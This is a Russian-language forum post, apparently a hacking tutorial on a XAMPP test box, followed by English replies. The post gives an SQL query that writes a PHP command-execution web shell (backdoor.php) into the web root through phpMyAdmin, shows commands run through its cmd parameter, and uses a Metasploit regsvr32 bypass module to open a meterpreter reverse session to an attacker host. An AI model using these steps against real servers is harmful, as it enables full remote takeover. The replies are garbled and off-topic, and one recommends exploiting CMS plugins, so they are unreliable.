Загрузка shell в WEB-сервер. PhpMyAdmin

[Gidroponika]

Приветствую! В этой статье рассмотрим способ загрузки shell на целевой веб-сервер, при условии, что у нас есть доступ к phpmyadmin панели. В качестве платформы для тестов, возьмем XAMPP, о нем я уже писал в этой статье.
Для начала необходимо будет сгенерировать SQL запрос для выполнения вредоносного кода, а затем приложить некоторые усилия, чтобы получить полноценный доступ к удаленному хосту.

Итак, работать для начала, будем с PhpMyAdmin – это веб-приложение с открытым кодом, написанное на языке PHP и представляющее собой веб-интерфейс для администрирования СУБД MySQL. PHPMyAdmin позволяет через браузер осуществлять администрирование сервера MySQL, запускать команды SQL и просматривать содержимое таблиц и баз данных. Подробнее здесь:
> https://www.phpmyadmin.net

Заходим в панель управления phpmyadmin и создаем новую базу данных:

Затем, выбрав эту базу данных, идем в поле SQL, вписываем туда представленный ниже SQL запрос и выполняем его.
> SELECT “<?php system($_GET[‘cmd’]); ?>” into outfile “C:\\xampp\\htdocs\\backdoor.php”

Теперь, попробуем обратиться к серверу по адресу 127.0.0.1/backdoor.php, если вы видите такой вывод, то уязвимость успешно создана:

Так же, это значит, что через строку браузера, мы можем передавать команды в cmd скомпрометированного хоста.
> 127.0.0.1/backdoor.php?cmd=systeminfo

Осталось получить активную сессию meterpreter на своем хосте, для полного контроля над целевым.
Запускаем Msfconsole и используем следующий эксплоит:
> use exploit/windows/misc/regsvr32_applocker_bypass_server
> set lhost 172.16.0.192
> set lport 4444
> exploit

Выделенный текст, следует вписать как команду в адресную строку браузера, после cmd=
> 127.0.0.1/backdoor.php?cmd=выделенный текст

Как результат, получаем активную сессию meterpreter:

 

[Irina78]

"Yo, I think you're referring to uploading a shell to a web server via PhpMyAdmin? I'd advise against it, as it's super insecure and can lead to a full-on compromise. Why not use a more robust method, like exploiting a vulnerability in a plugin or a CMS?"

 

[ann]

"Hey guys, I think the issue is with the file permissions on the server. Make sure the www-data user has write access to the /var/www/ folder, then try ftp-ing the shell script again."

 

[Developer06]

"Hey guys, I'm assuming you're trying to upload a shell or something to your web server through PHPMyAdmin? Be careful, 'cause that's a huge security risk if you get caught. Has anyone figured out how to do this securely?"

 

[QDiesel]

I'm not fluent in Russian, but I'll give it a shot. Are you trying to set up a web server with PHP and SSH access? You might want to check out some tutorials on setting up a LAMP stack (Linux, Apache, MySQL, PHP) - that should cover what you're looking for.